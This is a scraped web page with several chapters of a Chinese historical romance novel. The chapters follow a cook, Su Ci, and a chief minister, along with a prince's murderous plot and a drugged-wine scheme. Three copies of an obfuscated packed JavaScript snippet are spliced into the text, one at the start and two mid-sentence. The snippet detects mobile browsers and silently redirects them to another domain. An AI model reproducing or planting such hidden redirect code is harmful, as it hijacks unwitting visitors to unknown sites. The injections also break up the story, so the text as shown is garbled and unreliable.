;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353979|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微澜，闻言赶紧低声应了句“是”，便垂首退了出去。 她一走，老夫人便又按捺不住，絮絮叨叨起婚事，将柳依依的贤淑端庄夸了又夸，暗示之意再明显不过。 温砚礼面无表情地听完，才漠然道：“孙儿暂无娶妻之念。” 柳依依脸上的羞涩顷刻间化为苍白，眼圈一红，像是受了天大的委屈。 老夫人气得一拍桌子：“那你究竟要等到何时，难不成真要孤独终老？” “看缘分。” “缘分，又是缘分！你的缘分在哪儿？天上能掉下来不成！” “不知。” 老夫人见他这般软硬不吃，忽地话锋一转：“既然你眼下不想娶正妻，那先纳一房贴心人在身边伺候也好。我看那苏慈就不错，模样性情都是极好的，虽说出身低微了些，但做个通房丫头倒也…” “祖母。”温砚礼打断她，声音冷了几分，“您既知身份不对，便不必再提。” 恰在此时，苏慈端着刚沏好的雪顶含烟走到门外，心脏随着他这句话往下沉了沉。 她端著茶盘的手颤了颤，滚烫的茶水不甚溅出少许，烫在手背上，直到传来清晰的刺疼感，方才压下心头莫名涌起的异样。她低着头，将茶盏轻轻放在温砚礼手边，全程不敢抬起眼帘。 温砚礼瞥见一眼，眸色深沉难辨：“这里没你的事了，先回去歇着。” “是。”苏慈低声应道。 走在回小院的路上，夜色渐浓，凉风拂过她发烫的脸颊，却吹不散心头的滞闷。 手指处理水产时的刺痛犹在，腰背的酸涩也未消减，而此刻，心里像被堵了，闷闷的，透不过气。 她揉捏着肩胛，一遍遍在心里告诫自己要清醒，要安分。 大人今日出言维护，只是不愿他的专用厨娘被累病罢了。至于其他，身份云泥之别，绝非你能肖想，万不可生出半点不该有的心思。 回到小院，苏慈打来热水，仔仔细细地沐浴了一番。水汽氤氲，将她白皙的肌肤蒸得微微泛红，更添几分娇柔。 她换上干净的寝衣，长发披散在肩后，正欲吹熄烛火歇下，院门忽然被轻轻叩响。 这么晚了，会是谁？ 苏慈心下疑惑，怕是府中有什么急事，便随手抓了件外衫披上，趿着鞋走去开门。 门扉拉开，月光混合着廊下昏暗的灯笼光晕，勾勒出一个挺拔冷峻的高大身影。 苏慈愕然怔住，下意识地拢了拢披着的外衫。她刚沐浴过，未施粉黛，小脸被热气熏得白里透红，如同初绽的芙蕖，湿漉漉的杏眼里带着显而易见的惊讶，唇瓣也因水汽滋润衬得格外柔润。 或许是因为匆忙，寝衣的领口还未完全系好，露出一小片细腻光滑的肌肤和若隐若现的锁骨。 温砚礼似是没料到会看到这般景象，目光刚触及到那片晃眼的雪白，便猛地顿住，随即像是被烫到一般移开了视线，喉结轻轻滚动，声音比平日低沉几分：“衣衫整理好。” 苏慈这才后知后觉地低头，脸颊有些火辣辣的，手忙脚乱地将衣领拉紧，系好带子，声音极小的窘迫道：“大、大人，您怎么会来此？” 20. 菌菇羊肉汤 温砚礼这才重新看向她，将手中的白瓷瓶递了过去：“见你手上伤了，这药化瘀消肿效果尚可，擦上。” 苏慈愣愣地接过药瓶，冰凉的瓷壁激得她指尖微颤，随即蓦然抬头看向他，他那双总是沉静的眸子里，此刻清晰地映着她的身影。 所以他是特意来给她送药的？ 她心弦一颤，心口像被灌入了一股暖流，冲散了些许晚间的委屈。 低下头，轻声道：“多谢大人。” “嗯。”温砚礼应了一声，顿了顿，又道，“日后祖母若再唤你去慈晖堂伺候，不必理会。” 苏慈闻言，指尖摩挲着微凉的药瓶，心里那点刚升起的暖意又掺入了些许苦涩，回话的声音里带着点不易捕捉的幽怨：“老太太是府上的主子，她开口吩咐，奴婢怎能不去。” 温砚礼被这话噎了一下，似是斟酌了一下，才道：“是我不曾考虑周全，此事你无需再管，我自会处理。” 语调贯常的沉淡，却透着股让人心安的笃定。苏慈心中微动，低声应道：“是，奴婢知道了。” “歇着吧。”温砚礼语罢，转身便融入了夜色之中，身影很快消失在院门处。 苏慈站在原地，握着那瓶小小的药膏，直到他的脚步声彻底远去，才缓缓关上门。她坐回床边，拔开瓶塞，一股清雅的药香弥漫开来。 指尖蘸了少许微凉的药膏，小心翼翼地涂抹在红肿刺痛的手指上，药膏触及皮肤，带来舒缓的凉意。 看着自己那双总算得到了妥善照料的手，她心中五味杂陈。 - 时入冬月，北风渐紧，天气一日冷过一日。 苏慈时常翻阅父亲留下的食谱册子，又结合时节变化，琢磨出了几道温补的药膳，日日在小厨房里精心准备着，只等温砚礼回府后便能尝到。 这日清晨，她推开窗，竟见外面簌簌扬扬飘起了雪花，地上已覆了薄薄一层银白。 “今岁的雪来得这样早？”她有些惊讶，随即想起故乡江南虽少雪，但每至冬日，母亲总会炖上一锅热气腾腾的菌菇羊肉汤，说是最是滋补暖身，驱散严寒。 想到那汤的鲜美滋味，她心下微动，便想也为大人做上一回。 她穿上厚实的棉裙，外罩一件藕荷色镶毛比甲，将自己裹得严实了些，准备先去小厨房看看有无合适的食材，若没有，还得尽早差人出府采买。 刚出院门没走多远，刚便撞见了正由丫鬟陪着在廊下赏雪的柳依依。 这位表小姐今日一身嫣红织金缎面斗篷，衬得她娇艳明媚，她和老太太在府中已住了近一月，还未有离去的意思。 苏慈敛去眼底情绪，上前几步，规规矩矩地屈膝行礼：“表小姐安好。” 柳依依却像是根本没看见她这个人，径直从她面前走过，只对着身旁的丫鬟抱怨：“这雪下得真不是时候，路上怕是要泥泞了，你去前头问问，表哥今日何时能回府？” 那丫鬟为难地回道：“表小姐，大人的行程岂是奴婢们能知晓的。” 柳依依闻言，不满地蹙了蹙眉，也没多问，袅袅婷婷地往慈晖堂去了。 一到慈晖堂，她便换上甜美的笑容，对着正在暖阁里听曲的老夫人道：“外祖母，您瞧窗外这雪景多好看，正所谓瑞雪兆丰年呢。不若晚上请表哥过来一同用晚膳，咱们也热闹热闹？” 老夫人正闲得发闷，闻言点头：“也好，景言近日忙碌，是该好生补补。你去吩咐小厨房。” 柳依依眼珠一转，抢先道：“外祖母，既然要热闹，不如让那个苏慈过来掌勺？” 老夫人却摇了摇头：“罢了，上回你表哥说得在理，他那舌头刁钻，离了那丫头怕是吃不下饭，咱们就别再动他的人了。”经过上次，她虽不甘，却也多少顾忌孙儿的反应。 柳依依见老夫人竟回护起苏慈，心下更是不喜。她撇撇嘴，语气带上了几分娇嗔与不屑：“外祖母，您就是太好性儿了，依我看，那苏慈的厨艺也就寻常，不过是表哥一时新鲜罢了，她那张脸生得一副狐媚子相，谁知道是不是凭真本事伺候表哥的？倒是我带来的奶娘周妈妈，您也尝过她的手艺，地道的金陵菜，火候滋味哪样差了。” 老夫人回想起周妈妈做的几道点心小菜，确实精致可口，便点了点头：“周妈妈的手艺是不错。” 柳依依见老夫人认同，随即趁热打铁：“正是呢，外祖母，今日天寒，正宜进补。周妈妈最拿手的就是一道菌菇羊肉汤，炖得汤色奶白，羊肉酥烂，菌菇鲜香，最是驱寒保暖。不若今晚就让周妈妈炖上这汤，给表哥尝尝鲜。若表哥喜欢，日后便让周妈妈时常做着，岂不比那丫头稳妥？” 老夫人被她说得心动，想着若能有个更合规矩的人照顾孙儿饮食，倒也省心，便应允了：“也好，就依你，让周妈妈用心些。” 柳依依脸上立刻绽开得逞的笑容，屈膝道：“外祖母放心，依依这就去吩咐周妈妈，定让她拿出看家本领来。” 苏慈刚进小厨房，便恰见负责采买的仆役送来一只新鲜宰杀的羊腿，还有一筐今早刚送来的各色干鲜菌菇。她眼中漾开笑意，轻快地挽起袖子，系上围裙。她喜欢看食材在锅中变化的过程，更喜欢看人尝到她手艺时眉眼舒展的模样，见到用餐之人满足的神情，于她而言便是莫大的幸福。 取出册子，翻到记载着菌菇羊肉汤的那一页，仔细看了看父亲备注的火候诀窍和香料搭配，便开始动手。将羊肉切成适口的块状，放入冷水锅中，加入姜片，葱结和少许黄酒，慢慢煮沸，细心撇去浮沫，捞出用温水洗净。 另起一砂锅，注入足量清水，放入焯好的羊肉，几片火腿增鲜，投入几颗红枣，几片当归，大火烧开转文火慢炖。 接着，她将各类菌菇仔细清洗，干香菇，榛蘑需提前泡发，鲜蘑则保留其原本的鲜嫩。 待羊肉炖至六七分酥烂，汤色渐浓时，她才将菌菇悉数放入，继续用小火煨着，让菌类的鲜香与羊肉的醇厚慢慢交融。 最后只需调入适量的盐，撒上些许枸杞和葱花便可。 她守着那咕嘟冒泡的砂锅，想着大人回来便能喝上这碗热汤驱散寒意，唇角便不自觉地微微上扬。 然而左等右等，直至窗外天色渐暗，雪光映得庭院一片朦胧灰白，也未见温砚礼的身影。 张嫂子进来取东西，见她还在等候，顺口道：“姑娘别等了，大人刚回府就被老夫人请去慈晖堂用晚膳了，听说表小姐带来的那个周妈妈特意做了拿手的菌菇羊肉汤，要请大人尝鲜呢。” 听此言，苏慈搅动汤勺的手顿住，脸上露出几分失落，她低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353980|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下头，看着砂锅里咕嘟冒泡的浓白汤羹，轻声应了句：“嗯。” 慈晖堂内，暖意融融。 老夫人笑着将一碗汤推到温砚礼面前：“景言，快尝尝这羊肉汤，周妈妈炖了一下午，最是滋补。” 温砚礼接过汤碗，舀起一勺送入口中。 汤味浓郁，调料下得足，却并非他习惯的清淡鲜醇，羊肉的膻气也未完全处理好。他面上不动声色，仍是慢慢喝着。 柳依依见状，以为合了他口味，趁势娇声道：“表哥喜欢就好，周妈妈手艺极好的，往后就让她去小厨房专门伺候表哥的膳食吧，定比现在那个…”话未说完，意有所指。 老夫人也点头附和：“是啊，周妈妈手艺稳当，我也放心。” 温砚礼放下汤勺，瓷勺与碗沿碰撞发出清脆一响。他眼皮未抬，声音冷淡：“表妹还是少操心旁人之事。” 柳依依笑脸一僵，委屈道：“我也是担心表哥的饮食。” “我的事，不劳你费心。” 老夫人看着孙儿冷硬的侧脸，心下明了，这是执意要护着那个小厨娘了。她叹了口气，摆摆手：“罢了罢了，都少说两句。” 膳后，温砚礼起身告辞。 福安跟在他身后，悄声禀报：“大人，苏慈姑娘那边也备了菌菇羊肉汤，在小厨房温着呢，等您许久了。” 温砚礼脚步顿了顿，夜色掩去了他眸中一闪而过的微光，随即冷淡应了一声：“嗯。” 回到正院，苏慈已被唤至堂前。 温砚礼褪下大氅，状似无意地问道：“今日做了什么？” 苏慈想到他已在慈晖堂用过同样的汤，有些不好意思地低声回道：“回大人，奴婢也炖了菌菇羊肉汤，想着天冷。” “端上来吧。”温砚礼吩咐道。 苏慈讶然抬眼：“您、您不是已经用过了吗？” “不合口味。”他又道。 苏慈心下莫名一松，竟生出几分欢欣，连忙应声去小厨房将一直温着的汤端来，脚步轻快，背影都透着柔和的气息。 温砚礼看着她忙碌的身影，冷硬的眉眼在灯下似乎也柔和了些许。 汤盅揭开，一股不同于方才在慈晖堂尝到的油腻，反而是更清雅纯粹的鲜香弥漫开来，汤色清澈，羊肉酥烂，菌菇饱满。 温砚礼尝了一口，正是他习惯能清晰尝出食材本味的鲜甜。 “坐下。”他习惯性地吩咐。 苏慈如今也稍习惯了些，顺从地在他下首坐下，先为他盛了一碗，然后自己也盛了小半碗，小口喝着，身子很快暖和起来。她想起什么，轻声道：“这汤还剩下不少，等会儿给福安哥也留一碗驱驱寒吧，他今日在外奔波也辛苦了。” 温砚礼闻言，抬眸瞥了她一眼：“你倒会惦记他。” 苏慈抿唇一笑：“福安大哥平日对奴婢多有照应。” 温砚礼没反应了，沉默地喝着汤。一碗很快见底，他又将空碗往她面前推了推。她愣了一下，下意识地劝阻：“大人，晚间食用过多肉汤，恐积食伤胃…” “多事。”他出口打断，语气却无多少斥责之意。 苏慈被他这口是心非的模样逗得有些想笑，连忙低下头掩去嘴角的笑意，乖乖地又给他盛了一碗，小声应道：“哦。” 21. 梅菜馅酥饼 腊月，温砚礼难得的休沐日。 首辅府比往日安静许多。温砚礼处理完几件紧急公务，闲来无事，信步踱至小厨房附近。 听得里面传来女子低柔的交谈声，他脚步顿了顿，鬼使神差地走了进去。 小厨房内暖气融融，弥漫着一股糖霜的甜香。苏慈背对着门口，专注地伏在案前揉捏着一团面剂子，未曾察觉有人进来。 她今日一身浅蓝色的棉布襦裙，腰间系着干净的围裙，更显得腰肢纤细。发髻的几缕乌黑发丝垂落颈侧，随着她的动作轻轻晃动。 还是在灶台边忙碌的钱嫂子眼尖，一抬头瞥见门口那道颀长身影，吓得手里的勺子差点掉进锅里，慌忙躬身道：“大、大人，您怎么到这种地方来了？这儿油烟重，别污了您的衣裳。” 苏慈闻声回头，一张莹润的小脸竟沾了不少白乎乎的面粉，尤其左边脸颊上那一块，格外显眼，配上她那双惊讶得圆睁的清澈杏眼，模样着实有些滑稽可爱。 温砚礼瞥了眼她花猫似的脸，淡道：“无事，随意走走。”随即看向钱嫂子，“你去忙别的。” 钱嫂子应了声，赶紧溜出去，留下苏慈一人面对这位不速之客。 苏慈有些无措地站在原地，手上还沾着面粉：“大人，您有何吩咐？” “在做何物？”温砚礼走近两步，眼睛看向案板上那些瓶瓶罐罐和半成品的点心。 “回大人，奴婢在试做一种新式的梅菜馅酥饼，想着若是味道尚可，明日便能做给您尝尝。”见他似乎有兴趣，苏慈便小声介绍起来，“这是炒香的梅干菜，这是剁碎的猪肉末，加了少许糖和麻油提鲜，那边盆里是和好的水油皮和油酥，叠在一起擀开再卷起，烤出来才会层层起酥。” 她解释得认真，温砚礼也听得随意，目光却总是忍不住落在她脸颊那团面粉上，越看越觉得碍眼。 他下意识地抬起手，用指腹在她左颊上轻轻一抹。 动作来得突然，指尖微凉的温度触碰到温热的肌肤，苏慈吓得浑身一颤，低呼一声，脚下惊得向后一退，却忘了身后是放着面盆的矮凳，眼看就要绊倒。 温砚礼眼疾手快，一把揽住她的腰肢，将她往自己怀里一带。 苏慈整个人撞进他坚实的胸膛，鼻尖充斥着他身上清冽好闻的墨香，时间仿佛静止了一瞬，她能清晰地听到自己心脏疯狂擂鼓的声音，咚咚咚，震耳欲聋。 温砚礼也愣住了，手臂微微一僵，他能感觉得到怀中娇躯温软，以及那骤然扑近的女儿家特有馨香的气息。 “您、您做什么。”苏慈率先反应过来，手忙脚乱地从他怀里挣脱出来，脸红得几乎要滴血，连耳根都染上了绯色，说话都变得结结巴巴。 温砚礼的脸上难得露出些许不自在，他收回手，握拳抵在唇边轻咳一声，语气恢复一贯的冷硬：“脸上沾了面粉，看着碍眼。” 苏慈愣愣地“哦”了一声，心跳快得不成样子，像要从嗓子眼里蹦出来。她慌忙用袖子胡乱擦着脸，不敢再看他。 温砚礼又轻咳了一声，找了个回书房看文书的借口，转身匆匆离开了小厨房，背影竟透出几分罕见的仓促。 他一走，苏慈腿一软，差点没站稳，扶着案板深吸了好几口气，脸上的热度却久久不退。 接下来整个下午，她都有些心神不属，揉面时差点忘了放糖，烤饼时又险些看错了时辰。 待到傍晚，她将烤好的点心仔细装盘，送去书房。 一路上都在做心理建设，可一见到端坐在书案后的温砚礼，早间那尴尬又悸动的一幕便再度浮现，她顿时脸颊发烫，低着头将点心放在桌上，声音细细的，小小的：“大人，点心好了。” 温砚礼“嗯”了一声，拿起一块尝了。 酥皮果然层层分明，入口即化，梅菜咸香适中。 吃了几块，他将还剩少许点心的盘子往旁边推了推：“坐下，用完。” 苏慈怔了怔，小声道：“奴婢吃过了，要不剩下的给福安哥送去？” 温砚礼闻言，倏地抬起头，目光锐利地看向她，眯起了眼：“你嘴里怎的日日挂着福安？”他放下笔，身体微微后仰，自带不可忽视的威压，“你可是心仪于他？” 苏慈被他这质问吓了一跳，愕然抬头，对上他深邃探究的目光，又慌忙低下头，声音更小了：“没、没有，大人误会了。” 温砚礼盯着她绯红的耳尖看了片刻，才冷哼一声，重新拿起笔。 苏慈瞧着他似乎有些不悦，虽不明所以，却也不敢再问，识趣地在旁边的绣墩上坐下，认真吃着剩下的点心。 书房内一时静默，只余她细微的咀嚼声和他批阅文书时纸页翻动的沙沙声。 翌日，天色未明，首辅府门前已备好轿马。 温砚礼正欲上轿，不知怎的，忽然想起昨日苏慈那句“给福安哥送去尝尝”，脚步微顿。他侧首，看向垂手侍立一旁的福安，状似随意地问了一句：“你觉得苏慈如何？” 福安被这没头没脑的问题问得一怔，随即老实回道：“回大人的话，苏慈姑娘啊，性子好，手巧，人也善良体贴，模样更是没得挑，瞧着就是宜室宜家的好姑娘，将来谁要是娶了她…”他本是顺着话头真心夸赞，越说越觉得这姑娘确是难得，语气也不由热络起来。 然而他说得正起劲，忽觉周遭空气仿佛冷沉了一般，一股凉飕飕的寒意自身前蔓延开来。 他下意识抬头，只见自家大人静静地看着他，那张冷峻的面容上，虽无表情，却无端让他头皮发麻，后面夸赞的话顿时卡在了喉咙里。 福安一个激灵，蓦地意识到自己似乎说了不该说的，连忙话锋一转，急急找补：“呃，当然、当然。苏慈姑娘再好，那也是大人您的厨娘，小人就是觉得她为人不错，当个朋友相处是极好的，绝无他意，绝无他意。” 边说边偷偷觑着温砚礼的脸色，见那冰封般的表情似乎缓和了些许，这才暗暗松了口气，心里嘀咕好险好险。 金銮殿上，今日皇帝难得现身早朝，虽面色透着些不健康的潮红，精神却有些亢奋。他当朝提及临安府发现番邦细作踪迹一事，沉声道：“此番若非温爱卿机警，处置得当，恐酿成大患。首辅功不可没。” 温砚礼出列，躬身行礼：“陛下谬赞，此乃臣分内之事，不敢居功。全赖陛下洪福齐天，宵小之辈无所遁形。” 皇帝满意地点点头，眼神却又倏地冷厉起来，扫过底下垂首站立的几位皇子，意有所指地敲打：“有些人，也给朕安分些，眼睛别总盯着不该盯的地方，朕还没死呢！” 站在前列的二皇子闻言，脸色霎时白了白，下意识地攥紧了袖中的拳头。 随后，皇帝又宣布：“朕近日需静心炼制丹药，以求大道。朝中一应政务，皆由首辅代为处理，众卿需全力配合，不得有误。” 此言一出，底下众臣神色各异。温砚礼面色如常，恭敬领旨：“臣，遵旨。” 散朝后，二皇子迎上了温砚礼，脸上堆着亲热的笑，状似亲热地试探道：“首辅大人留步。方才父皇提及临安之事，真是惊险万分，不知那些番邦宵小，究竟是何来历？可曾查到幕后主使？” “劳二殿下挂心，不过些许流寇，已交由地方肃清，具体案 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353981|183616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情，殿下若有兴趣，可调阅府衙卷宗。”温砚礼语气淡然，一番话滴水不漏，将试探轻轻挡回。 二皇子脸上的笑容僵住，看着温砚礼冷漠离去的背影，眼神逐渐阴沉下来。 刚走出几步，太子又迎了上来。 太子身形清瘦，面容带着几分书卷气，眼神却沉稳坚定。他对着温砚礼拱手一礼，语气郑重：“首辅大人，西北紧急军报已送至书房，事关今冬边陲布防与粮草调度，孤心中尚有几点疑虑，想请大人移步书房，共同商议。” 太子乃已故郑后所出，皇帝因不喜郑后，连带着对这位嫡子也颇为冷淡。如今皇帝将西北战事交由太子牵头处理，其中意味，耐人寻味。 温砚礼目光在太子脸上停留片刻，终是颔首：“殿下请。” - 二皇子刚宫里回来，脸上犹带着未能尽数收敛的怒意。 心腹手下早已候在廊下，见他归来，忙上前低声道：“殿下，周大人已在书房等候多时。” 二皇子冷哼一声，拂袖径直走向书房。 一进门，他便压抑不住满腔怒火，一掌拍在紫檀木书案上，震得笔架上的狼毫笔簌簌作响：“温砚礼，好一个温砚礼，竟敢如此不识抬举，本王这般拉拢于他，他却处处与本王作对。” 早已候在房内的周然见状，连忙躬身劝慰：“殿下息怒，温首辅权势熏天，又深得陛下信重，此刻与他硬碰实非良策。看他近日动向，怕是对临安之事已有所察觉。” “察觉？”二皇子闻言，盯住他的眼神锐利如刀，言语间却带着丝丝惊惶，“当初那件事，你确认手脚都干净了？绝无半点痕迹落下？” 周然笃定点头，语气斩钉截铁：“殿下放心，所有经手之人皆已处理干净，往来书信一律焚毁，绝无实物证据残留，即便他有所怀疑，也查无实据。” 二皇子紧绷的神色稍缓，但旋即又染上更深沉的戾气：“即便如此，父皇今日将西北兵权交予太子，这便是明晃晃的警告，警告本王安分守己！”他越想越气，又是一拳砸在案上。 周然连忙上前一步，低声安抚：“殿下稍安勿躁，陛下此举或许亦有试探之意，太子虽得兵权，然其在朝中根基尚浅，军中更无甚威望，未必能成气候，眼下之急，仍是稳住阵脚，切勿自乱阵脚，授人以柄。” 二皇子深吸一口气，强行压下翻涌的杀意，点了点头：“你说得对，是本王心急了。” 两人又密议片刻，周然正欲告退，脚步却忽然顿住，像是想起了什么，转身迟疑道：“殿下，还有一事，下官方才想起，昔日临安府苏家被抄斩时，似乎其家中有一幼女，名唤苏慈，并未在当年处决名册之上，似是漏网之鱼。” 二皇子眼眸骤然眯起，寒光乍现：“苏家幼女？你此言何意？” “下官也是偶然得知，”周然压低声音，“温首辅府中，近来得用的那位厨娘，恰巧也名叫苏慈，不知仅是姓名巧合，亦或…” “苏慈。”二皇子低声咀嚼着这个名字，眼中闪过狠厉杀机，“查，立刻给本王去查，不惜一切代价，也要给本王查个水落石出，若当真是苏家余孽。”他语气森然，一字一顿道，“绝不能再留她性命，苏家，必须一个活口都不能有。” 当年他暗中勾结番邦，私铸兵器，图谋大事，不慎被苏家长子窥见蛛丝马迹。 为绝后患，他才授意时任临安知府罗织罪名，将苏家满门抄斩，本以为早已铲除干净，岂料竟有漏网之鱼。 若此事当真被温砚礼顺着苏慈这条线重新翻查出来，那便是私通外邦，密谋造反的泼天大罪，足以让他万劫不复。 22. 羊肉锅子 腊月廿三过后，年味便一日浓过一日。 首辅府上下也忙碌起来，洒扫庭院，擦洗窗棂，张贴桃符春联，处处透着除旧迎新的喜庆。 苏慈已有近两年未曾感受过这般热闹温馨的年节氛围了。往年此时，她或是寄人篱下看人脸色，或是独自一人守着冷灶，何曾有过这般融入其中的欢欣。 看着满府的红火景象，她心下也不由被感染，兴致勃勃地加入了打扫的队伍。 她去领了红纸金字的春联和浆糊，回到自己居住的小院，仔细将联子贴在门框两侧，又端端正正贴上横批。 看着那鲜艳的红色映着雪光，她拍了拍手，嘴角弯起满足的笑意。 心情甚好的她，又想起新琢磨出的几样点心，精心装了一碟，送去书房给温砚礼，踏入书房，却见这里一片冷清肃穆，与外头的热闹格格不入，连春联都还未贴上。 苏慈将点心碟子轻轻放在书案一角，见温砚礼在批阅文书，便轻声道：“大人，年节近了，您这书房也该贴副对联应应景才是。” 温砚礼从文书中抬起头，看了眼门口光秃秃的门框：“嗯，稍后让福安来贴。” “福安哥方才好像在前头忙着指挥挂灯笼呢。”苏慈眨了眨清亮的杏仁眼，带着几分期待试探地问，“要不让奴婢来贴？奴婢刚贴完自己院里的，手艺尚可。” 温砚礼闻言，放下朱笔，打量了她一眼。她今日穿了件水红色的小袄，衬得眉眼灵动，此刻眼中闪着跃跃欲试的光彩。 旋即，他哼了一声，语气里听不出是反对还是默许：“贴便贴，若是摔了碰了，莫要哭嚷。” 听他这般说，苏慈便知他是允了。经过这些时日的相处，她早已知晓这位大人面冷心却并非那般不近人情，至少对她，多有包容。她胆子也渐渐大了起来，话也多了些，有时甚至敢稍稍反驳他一句。 “大人小瞧人。”她微微嘟囔了一句，竟带着几分娇嗔，“奴婢灵巧着呢。”说罢，便脚步轻快地出去寻梯子和备用的春联了。 温砚礼看着她轻盈离去的背影，嘴角微动了下，重新拿起笔。 不一会儿，苏慈便搬来了小梯子，拿着春联和浆糊，认真地比划着位置，小心翼翼地涂抹粘贴。 温砚礼偶尔从文书上抬起眼，便能看见她专注忙碌的侧影。 贴好春联，苏慈跳下凳子，满意地欣赏着自己的杰作，又转头对温砚礼道：“大人，眼看就年三十了，今晚咱们吃锅子好不好？用熬好的骨头汤做底，涮些羊肉、豆腐、青菜，又暖和又应景。” “嗯。”温砚礼头也未抬，“你看着办便是。” 正说着，老夫人院里的嬷嬷来了，在门外恭敬道：“大人，老夫人吩咐，请您过去一同用晚膳。” 温砚礼笔尖未停，只道：“知道了。” 嬷嬷退下后，他方才抬眼，对苏慈道：“慈晖堂那边我会去应个景，少吃些，晚些回来，你的锅子备着当夜宵。” 苏慈闻言，眼睛一亮，连忙点头：“是，奴婢这就去准备汤底和食材。”说完便退出了书房，忙着去张罗她的锅子了。 慈晖堂内灯火通明，晚膳摆了一桌，比平日更为丰盛。 温砚礼到时，老夫人与柳依依已等候在席。 见他来了，老夫人脸上含着笑：“景言来了，快坐，眼看着年关将近，祖母也该回金陵去了。” 温砚礼依言坐下，闻言动作一顿，抬眸看向老夫人：“祖母不在京中过年？” 老夫人眼神有些闪烁地应道：“前日你二叔来信，道家中事务繁杂，盼着我早日回去主持，我想着也是，便定了这两日动身。” 温砚礼握着筷子的手指紧了紧，眉梢眼角微微挑起，看不出表情变化，随口“嗯”了声以示回应。 侍立在他身后的福安听得此言，心头又是一股无名火起。 老夫人心里永远只有远在金陵的二爷，大人自年少离家，独自一人在京城挣扎浮沉，不知过了多少个冷清除夕，如今位极人臣，老夫人来了也不过月余，却又要急着回去，何曾真正心疼过他这个长孙？ 老夫人似乎并未察觉席间微妙的气氛，又笑着试探道：“景言，祖母这一走，你独自在京中难免孤单，不若就让依依留在你府上，过了年再回去？也多个人陪你过年，热闹些。” 柳依依立刻配合地垂下头，露出一段白皙的脖颈，脸颊飞红，羞怯不已。 温砚礼头也未抬，语气公事公办：“不必，表妹云英未嫁，留在孙儿府中于礼不合，恐损及清誉。” 老夫人见他油盐不进，索性把心一横，挑明了道：“什么清誉不清誉，景言，你莫非真看不出依依的心意？她心里装的全是你，你若点头，祖母今日便做主，将这门亲事定下。” “孙儿政务繁忙，暂无娶妻之念，此事祖母不必再提。”温砚礼放下筷子，语气斩钉截铁，不留半分希望。 老夫人被他一而再再而三地驳了面子，顿时气得脸色发青，胸口起伏。强压怒火，她对侍立一旁的福安挥挥手：“你先下去。” 福安担忧地看了一眼温砚礼，见他微微颔首，这才躬身退下，却未走远，只守在廊下竖着耳朵留意里面的动静。 屋内一时只剩下三人。 老夫人深吸一口气，对柳依依使了个眼色：“依依，给你表哥敬杯酒罢，此一别，不知何时再见了，就当是饯行。” 柳依依柔顺地点头，起身执起酒壶。周妈妈早已备好一只特定的酒壶，柳依依接过，为温砚礼面前的酒杯斟满，声音娇柔：“依依敬表哥一杯，愿表哥事事顺遂。” 温砚礼看着那杯酒上，眸色深沉，随即又抬眼看了看一脸期盼的老夫人和故作娇羞的柳依依，沉默片刻，还是端起了酒杯，一饮而尽。 酒液辛辣，入喉却带着点异样甜腻。 不过片刻功夫，温砚礼便顿感头脑一阵晕眩，视线开始模糊，浑身力气似是被瞬间抽空。 心中警铃大作，瞬间意识到自己被下药了。 心中涌起一股怒气，烧得他心口发痛。他竟被自己的亲祖母算计！ “你，”他试图站起身，却踉跄一下，手臂撑住桌面才勉强站稳，“你们竟用如此下作手段。” 老夫人见他药效发作，脸上再无掩饰，急急对周妈妈道：“还愣着干什么，快扶大人去厢房歇息。” 周妈妈应声上前，便要搀扶温砚礼。 “既然你死活不肯娶妻，那就别怪祖母用些非常手段。”老夫人语气带着一种扭曲的急切，又对柳依依道，“依依，快去，好好伺候你表哥。” 温砚礼用尽最后一丝力气，猛地挥臂甩开周妈妈搀扶的手。周妈妈被他这突如其来的力道推得一个趔趄，差点摔倒。 “福安！”温砚礼嘶声喊道，药力作用下，他声音变得沙哑低沉。 守在门外的福安早已听得里面动静不对，闻声果断推门而入。只见自家大人面色潮红，眼神涣散地快要瘫软在地，而老夫人和柳依依则一脸惊慌。 “大人！”福安一个箭步冲上前，扶住摇摇欲坠的温砚礼，触手只觉他身体滚烫。 “走。”温砚礼靠在福安身上，头脑昏沉得厉害，从齿缝间挤出这一个字。 福安不敢耽搁，半扶半抱地撑着温砚礼，冷着脸对老夫人道：“老夫人，小人先送大人回去了。” 老夫人看着孙儿离去时那冰冷彻骨的眼神，心下难得生出了一丝后怕，径直跌坐在椅子上。 正院里，苏慈估摸着时辰，想着温砚礼该从慈晖堂回来了，便将煨在灶上的汤底并各色鲜切食材仔细装入食盒，提着往正院去。 刚踏入院门，却见福安半扶半抱着一个人疾步走来，那人身形高大，瞧着便是温砚礼，只是他步履虚浮，几乎将全身重量都压在了福安身上。 “福安哥，大人这是…”苏慈心下一沉，急忙迎上 